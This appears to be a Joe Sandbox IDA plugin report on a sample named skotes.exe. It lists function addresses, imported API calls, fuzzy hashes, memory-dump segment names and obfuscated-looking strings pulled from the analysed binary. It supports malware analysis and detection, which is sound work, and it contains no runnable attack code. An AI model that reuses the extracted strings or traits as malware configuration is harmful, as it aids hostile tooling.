Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7824ee17afc26ca419cfa8d74e3aa7990f830d7375806ba37161a0ba43120aa9
Instruction ID: cb56ba1f0d94b89572e7b06544475b22585be68da668dfc62b25a0ef635db0b8
Opcode Fuzzy Hash: 7824ee17afc26ca419cfa8d74e3aa7990f830d7375806ba37161a0ba43120aa9
Instruction Fuzzy Hash: 33219A717142089BEB0C9B7CEC85B7CBB61EBC1324F208228E528D77D0C7B655808353

Non-executed Functions

Function 008F2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 008F2F5F
GetCurrentThreadId.KERNEL32 ref: 008F2F7E
__Mtx_unlock.LIBCPMT ref: 008F2FCC
__Cnd_broadcast.LIBCPMT ref: 008F2FE3
__Mtx_unlock.LIBCPMT ref: 008F30F5
GetCurrentThreadId.KERNEL32 ref: 008F3132
__Mtx_unlock.LIBCPMT ref: 008F319B

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: a2ee9a7690826feb9ac4c4c290fc1c33462c5615e0b63a330d47ef31395ab806
Instruction ID: afe7aaedef9b477cd49f5d40b0a21ecfbc6bad82dbbd2b3cf5cd14ab0a22d2eb
Opcode Fuzzy Hash: a2ee9a7690826feb9ac4c4c290fc1c33462c5615e0b63a330d47ef31395ab806
Instruction Fuzzy Hash: DEA1D0B0A01609AFDB20DF74C944BAAB7A8FF55314F04822AF915D7681EB31EA44CB91

Function 0092CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0092CC66

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: d16a4cb6a2d0b0dcdc57006261b4164f1495c400c5e331ca55dc48e39ed1d842
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 81B17AB2D002659FDB15CF28E8817BEBBF9EF45340F15456AE854EB38AD6349D01CBA0

Function 0090BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0090BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0090BBE4
_xtime_get.LIBCPMT ref: 0090BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0090BC13

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 906348bae2102637fc151600c74ae2edff3753bb92f0c3caf7db54993a881ed5
Instruction ID: b3ba5bbf1bbc20979f1f29c961300d29b36982a226c578bfe629a851ccf3effd
Opcode Fuzzy Hash: 906348bae2102637fc151600c74ae2edff3753bb92f0c3caf7db54993a881ed5
Instruction Fuzzy Hash: F62151B5A0011AAFDF00EFA4CC95ABEB7B9EF49710F100115FA01B7291DB31AD019BA1

Analysis Process: skotes.exePID: 7696, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.7%
Total number of Nodes:	551
Total number of Limit Nodes:	53

Executed Functions

Function 008FE530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MQ==, xrefs: 008FE592
WTs=, xrefs: 009005CA
MGE+, xrefs: 008FE821
#, xrefs: 00900624
GnNoc2Hc, xrefs: 008FE56C
246122658369, xrefs: 008FF737, 008FFA14, 009005E7, 0090099A
WTw=, xrefs: 0090097D
WDw=, xrefs: 008FF71D, 008FF9FA
9c9aa5, xrefs: 008FFB8E
UA==, xrefs: 008FEB0F, 008FED56
111, xrefs: 008FF7A0

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 708a20dcddb95eb22bf59fcacb63b114975055e9c5d7a68088cce3b2a421be77
Instruction ID: b8c9c8c17f9ef23576054b4078d5ef6e120c1c8e671aeb70867750e668701a2a
Opcode Fuzzy Hash: 708a20dcddb95eb22bf59fcacb63b114975055e9c5d7a68088cce3b2a421be77
Instruction Fuzzy Hash: 3082B070A0428C9FEF14EF68C9497DEBFB6EB46304F508588E905673C2D7755A888BD2

Function 00932517 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00946758), ref: 0093275C

Strings

Eastern Summer Time, xrefs: 009327FA
Eastern Standard Time, xrefs: 009327CB

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
